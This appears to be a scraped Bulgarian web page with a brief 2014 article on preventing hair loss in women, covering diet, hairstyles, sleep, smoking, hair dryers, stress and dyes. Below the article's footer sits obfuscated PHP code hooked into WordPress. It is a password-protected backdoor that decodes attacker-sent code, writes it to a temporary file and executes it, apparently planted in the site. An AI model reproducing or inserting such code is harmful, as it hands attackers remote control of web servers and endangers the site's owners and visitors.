Как да предотвратим косопада | Косопад

Как да предотвратим косопада

Женският косопад понякога може да бъде предотвратен, ако спазваме определени съвети.

kosopad-sledi

Здравословно хранене. Какво ядем е много важно, за да се спасим от косопада. Трябва да увеличите количеството на храни, богати на желязо, селен, витамини В и Е (червено месо, черен дроб, млечни продукти и яйца, мая, зърнени храни, сьомга, зелени зеленчуци).

Видът прическа. Стегнатите прически, които много опъват косата, също са честа причина за косопад при жените. Правете прическите си по- отпуснати, за да не изтезавате косата.

Почивка. Спете и почивайте добре. Хората, които не се наспиват, или са много стресирани, са по- склонни към косопад.

Цигари. Ако пушите много, също може да е причина за косопада ви, тъй като изсушава косата и отслабва космения фоликул, като така улеснява падането.

kosopad-ot-stres

Сешоар и преса. Те са наказание за косата ни. Оставете косата ви да съхне на въздух, или я подсушете внимателно с кърпа. Ако все пак трябва да използвате сешоар, не го дръжте прекалено близо до косата.

Стрес. Много често е причината за косопада. Научете се да се отпускате.

Боя за коса. Не използвайте агресивни бои за косата си, които поощряват косопада, например амонячните.

Не вързвайте косата, ако е мокра. Влагата отваря порите на косата. Ако се вържете, докато сте мокри, има по- голяма вероятност от падане. Ако косопадът все не спира, обърнете се към дерматолог.

31. юли 2014 20:27:25 от Надя Колева
Категории: Косопад – Статии | Етикети: , | 32 коментари

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}